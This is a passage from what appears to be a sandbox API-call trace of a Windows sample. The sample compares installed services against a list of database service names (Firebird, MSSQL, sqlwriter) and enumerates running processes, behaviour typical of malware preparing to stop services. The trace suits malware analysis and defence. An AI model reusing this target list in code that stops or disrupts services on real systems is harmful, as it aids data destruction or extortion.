(lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0124.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0124.757] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0124.757] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0124.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0124.757] lstrlenW (lpString="SamSs") returned 5 [0124.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0124.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0124.757] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0124.757] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0124.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0124.757] lstrlenW (lpString="Schedule") returned 8 [0124.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0124.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0124.780] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0124.781] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0124.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0124.781] lstrlenW (lpString="SecurityHealthService") returned 21 [0124.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0124.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0124.781] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0124.781] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0124.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0124.781] lstrlenW (lpString="SENS") returned 4 [0124.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0124.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0124.781] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0124.781] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0124.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0124.781] lstrlenW (lpString="ShellHWDetection") returned 16 [0124.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0124.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0124.781] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0124.781] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0124.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0124.781] lstrlenW (lpString="Spooler") returned 7 [0124.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0124.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0124.781] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0124.781] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0124.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0124.781] lstrlenW (lpString="SSDPSRV") returned 7 [0124.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0124.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0124.782] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0124.782] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0124.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0124.782] lstrlenW (lpString="StateRepository") returned 15 [0124.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0124.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0124.782] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0124.782] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0124.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0124.782] lstrlenW (lpString="SysMain") returned 7 [0124.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0124.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0124.782] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0124.782] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0124.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0124.782] lstrlenW (lpString="SystemEventsBroker") returned 18 [0124.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0124.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0124.782] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0124.782] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0124.782] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x64ac08 | out: hHeap=0x5a0000) returned 1 [0124.782] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xfc8 [0124.788] Process32FirstW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0124.791] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0124.792] lstrlenW (lpString="System") returned 6 [0124.792] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0124.793] lstrlenW (lpString="smss.exe") returned 8 [0124.793] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0124.794] lstrlenW (lpString="csrss.exe") returned 9 [0124.794] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0124.795] lstrlenW (lpString="wininit.exe") returned 11 [0124.795] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0124.795] lstrlenW (lpString="csrss.exe") returned 9 [0124.795] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0124.796] lstrlenW (lpString="winlogon.exe") returned 12 [0124.796] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0124.797] lstrlenW (lpString="services.exe") returned 12 [0124.797] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0124.798] lstrlenW (lpString="lsass.exe") returned 9 [0124.798] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.799] lstrlenW (lpString="svchost.exe") returned 11 [0124.799] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0124.800] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0124.800] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0124.800] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0124.801] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.802] lstrlenW (lpString="svchost.exe") returned 11 [0124.802] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0124.802] lstrlenW (lpString="dwm.exe") returned 7 [0124.802] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x56, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.803] lstrlenW (lpString="svchost.exe") returned 11 [0124.803] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.804] lstrlenW (lpString="svchost.exe") returned 11 [0124.804] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.805] lstrlenW (lpString="svchost.exe") returned 11 [0124.805] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.806] lstrlenW (lpString="svchost.exe") returned 11 [0124.806] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.807] lstrlenW (lpString="svchost.exe") returned 11 [0124.807] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.808] lstrlenW (lpString="svchost.exe") returned 11 [0124.808] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.809] lstrlenW (lpString="svchost.exe") returned 11 [0124.809] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.810] lstrlenW (lpString="svchost.exe") returned 11 [0124.810] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.810] lstrlenW (lpString="svchost.exe") returned 11 [0124.811] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0124.811] lstrlenW (lpString="spoolsv.exe") returned 11 [0124.811] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.812] lstrlenW (lpString="svchost.exe") returned 11 [0124.812] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.813] lstrlenW (lpString="svchost.exe") returned 11 [0124.813] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0124.814] lstrlenW (lpString="audiodg.exe") returned 11 [0124.814] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0124.815] lstrlenW (lpString="sihost.exe") returned 10 [0124.815] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.816] lstrlenW (lpString="svchost.exe") returned 11 [0124.816] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0124.816] lstrlenW (lpString="taskhostw.exe") returned 13 [0124.816] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0124.887] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0124.887] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0124.887] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0124.887] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0124.888] lstrlenW (lpString="explorer.exe") returned 12 [0124.888] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0124.889] lstrlenW (lpString="Memory Compression") returned 18 [0124.889] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0124.890] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0124.890] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0124.890] lstrlenW (lpString="SearchUI.exe") returned 12 [0124.891] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0124.891] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0124.891] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0124.892] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0124.892] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0124.893] lstrlenW (lpString="taskhostw.exe") returned 13 [0124.893] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0124.894] lstrlenW (lpString="UsoClient.exe") returned 13 [0124.894] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0124.895] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0124.895] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0124.895] lstrlenW (lpString="msoia.exe") returned 9 [0124.895] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0124.896] lstrlenW (lpString="taskhostw.exe") returned 13 [0124.896] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0124.897] lstrlenW (lpString="msoia.exe") returned 9 [0124.897] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0124.898] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0124.898] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0124.899] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0124.899] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0124.899] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0124.899] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace.exe")) returned 1 [0124.900] lstrlenW (lpString="screensaver_fireplace.exe") returned 25 [0124.900] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="xmlupperarc.exe")) returned 1 [0124.901] lstrlenW (lpString="xmlupperarc.exe") returned 15 [0124.901] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplines-scholars.exe")) returned 1 [0124.902] lstrlenW (lpString="disciplines-scholars.exe") returned 24 [0124.902] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="concerned venture.exe")) returned 1 [0124.903] lstrlenW (lpString="concerned venture.exe") returned 21 [0124.903] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsi.exe")) returned 1 [0124.903] lstrlenW (lpString="organizingscsi.exe") returned 18 [0124.903] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="airplane placing.exe")) returned 1 [0124.904] lstrlenW (lpString="airplane placing.exe") returned 20 [0124.904] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="circus.exe")) returned 1 [0124.905] lstrlenW (lpString="circus.exe") returned 10 [0124.905] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl_jurisdiction_en.exe")) returned 1 [0124.906] lstrlenW (lpString="pearl_jurisdiction_en.exe") returned 25 [0124.906] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="das.exe")) returned 1 [0124.906] lstrlenW (lpString="das.exe") returned 7 [0124.907] Process32NextW (in: hSnapshot=0xfc8, lppe=0x8cefd2c | out: 